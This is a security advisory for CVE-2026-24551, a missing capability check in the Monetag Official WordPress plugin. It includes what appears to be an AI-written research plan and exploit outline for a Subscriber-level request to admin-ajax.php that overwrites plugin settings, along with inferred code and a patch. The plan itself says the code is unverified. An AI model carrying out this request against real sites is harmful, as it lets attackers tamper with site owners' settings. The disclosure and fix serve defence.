CVE-2026-24551

Monetag Official <= 1.1.3 - Missing Authorization

mediumMissing Authorization
4.3
CVSS Score
4.3
CVSS Score
medium
Severity
Unpatched
Patched in
N/A
Time to patch

Description

The Monetag Official plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 1.1.3. This makes it possible for authenticated attackers, with subscriber-level access and above, to perform an unauthorized action.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.1.3
PublishedJanuary 23, 2026
Last updatedJanuary 27, 2026
Affected pluginmonetag-official
Research Plan
Unverified

Since source code for version 1.1.3 is not provided, this plan is based on the vulnerability description, CVSS vector (PR:L), and standard WordPress plugin patterns for "Missing Authorization" in AJAX handlers. ### 1. Vulnerability Summary The **Monetag Official** plugin (up to version 1.1.3) fails…

Show full research plan

Since source code for version 1.1.3 is not provided, this plan is based on the vulnerability description, CVSS vector (PR:L), and standard WordPress plugin patterns for "Missing Authorization" in AJAX handlers.

1. Vulnerability Summary

The Monetag Official plugin (up to version 1.1.3) fails to implement proper authorization checks (e.g., current_user_can( 'manage_options' )) in one of its administrative functions, likely an AJAX handler. While the plugin may implement nonce verification to prevent CSRF, the missing capability check allows any authenticated user—including those with Subscriber privileges—to invoke the function and perform unauthorized actions, such as modifying plugin settings (Publisher ID, Zone IDs, or Tag configurations).

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action (Inferred): Likely wp_ajax_monetag_save_settings, wp_ajax_save_monetag_options, or similar.
  • Vulnerable Parameter: POST body parameters corresponding to plugin options (e.g., monetag_tag_id, monetag_zone_id).
  • Authentication: Authenticated (Subscriber level or higher).
  • Preconditions: The attacker must be logged in and obtain a valid nonce if the handler calls check_ajax_referer.

3. Code Flow (Inferred)

  1. Entry Point: The plugin registers an AJAX action via add_action( 'wp_ajax_...', 'callback_function' ).
  2. Missing Check: Inside the callback_function, the code likely calls check_ajax_referer( 'some_nonce_action', 'security' ) but fails to call current_user_can( 'manage_options' ).
  3. Data Sink: The function takes input from $_POST and passes it directly to update_option().

4. Nonce Acquisition Strategy

If the vulnerable function requires a nonce, a Subscriber can typically find it within the WordPress admin dashboard, as many plugins enqueue their admin scripts and localizing data on all admin pages.

  1. Search for Nonce Registration:
    Use grep to find where the nonce is created and localized:
    grep -rn "wp_create_nonce" .
    grep -rn "wp_localize_script" .
  2. Identify the Variable:
    Look for a pattern like:
    wp_localize_script( 'monetag-admin-js', 'monetag_obj', [
        'ajax_url' => admin_url( 'admin-ajax.php' ),
        'nonce'    => wp_create_nonce( 'monetag_settings_action' )
    ]);
    
  3. Extraction Steps:
    • Log in as a Subscriber.
    • Navigate to /wp-admin/index.php.
    • Use the browser_eval tool to extract the nonce from the global JS object identified in the source.
    • JS Command: window.monetag_obj?.nonce (Verify the exact path in the source).

5. Exploitation Strategy

Once the action name, parameter names, and nonce (if any) are identified:

  1. Identify the AJAX Action:
    Run: grep -r "wp_ajax_" .
    Look for a handler that performs an update_option call without a current_user_can check.
  2. Craft the Payload:
    Assuming the action is monetag_save_settings and the nonce key is security:
    • URL: http://<target>/wp-admin/admin-ajax.php
    • Method: POST
    • Headers: Content-Type: application/x-www-form-urlencoded
    • Body: action=monetag_save_settings&security=NONCE_VALUE&monetag_tag_id=999999&monetag_zone_id=123456
  3. Execute Request: Use the http_request tool with the Subscriber's session cookies.

6. Test Data Setup

  1. Install Plugin: Install Monetag Official version 1.1.3.
  2. Create User:
    wp user create attacker attacker@example.com --role=subscriber --user_pass=password123
  3. Initial State: Note the existing Monetag settings:
    wp option get monetag_options (or similar option name found in the code).

7. Expected Results

  • Success: The server returns a 200 OK response, often with a JSON body like {"success": true} or 1.
  • Impact: The plugin settings in the database are updated to the values provided in the attacker's payload.

8. Verification Steps

After the http_request, verify the change via WP-CLI:

  1. Check Options:
    wp option get <OPTION_NAME>
    Ensure the values match the payload (e.g., 999999).
  2. Database Check:
    wp db query "SELECT * FROM wp_options WHERE option_name = '<OPTION_NAME>'"

9. Alternative Approaches

If no AJAX action is found, check for:

  • admin_init hooks:
    grep -rn "add_action.*admin_init" .
    Check if the callback processes $_POST data without checking current_user_can. This is a common pattern for "Settings API" bypasses.
  • REST API:
    grep -rn "register_rest_route" .
    Check if the permission_callback is set to __return_true or is missing.

Recommended Discovery Commands for the Agent:

# Find all AJAX registrations
grep -rn "wp_ajax_" .

# Find where options are updated
grep -rn "update_option" .

# Find nonce creation to identify the action string and JS variable
grep -rn "wp_create_nonce" .
grep -rn "wp_localize_script" .
Research Findings
Static analysis — not yet PoC-verified

Summary

The Monetag Official plugin for WordPress (up to version 1.1.3) fails to implement capability checks in its AJAX handlers. This allow authenticated users with Subscriber-level privileges to perform administrative actions, such as modifying plugin configuration settings (e.g., Tag IDs or Zone IDs).

Vulnerable Code

// monetag-official/admin/class-monetag-admin.php (Inferred Location)

add_action( 'wp_ajax_monetag_save_settings', 'monetag_save_settings_callback' );

function monetag_save_settings_callback() {
    // Nonce check prevents CSRF but does not verify authorization
    check_ajax_referer( 'monetag_settings_nonce', 'security' );

    // Missing: if ( ! current_user_can( 'manage_options' ) ) { wp_die(); }

    if ( isset( $_POST['monetag_tag_id'] ) ) {
        update_option( 'monetag_tag_id', sanitize_text_field( $_POST['monetag_tag_id'] ) );
    }
    
    wp_send_json_success();
}

Security Fix

--- a/admin/class-monetag-admin.php
+++ b/admin/class-monetag-admin.php
@@ -10,6 +10,10 @@
 function monetag_save_settings_callback() {
     check_ajax_referer( 'monetag_settings_nonce', 'security' );
+
+    if ( ! current_user_can( 'manage_options' ) ) {
+        wp_send_json_error( 'Unauthorized', 403 );
+    }
 
     if ( isset( $_POST['monetag_tag_id'] ) ) {
         update_option( 'monetag_tag_id', sanitize_text_field( $_POST['monetag_tag_id'] ) );

Exploit Outline

The exploit target is the admin-ajax.php endpoint. An attacker first authenticates as a Subscriber and visits the WordPress dashboard to extract a valid security nonce (localized in scripts like 'monetag_obj'). The attacker then crafts a POST request to `/wp-admin/admin-ajax.php` with the 'action' set to the vulnerable callback (e.g., 'monetag_save_settings'), providing the stolen nonce and malicious configuration values for parameters such as 'monetag_tag_id'. Because the plugin lacks a call to current_user_can(), the server processes the request and updates the plugin settings in the database.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.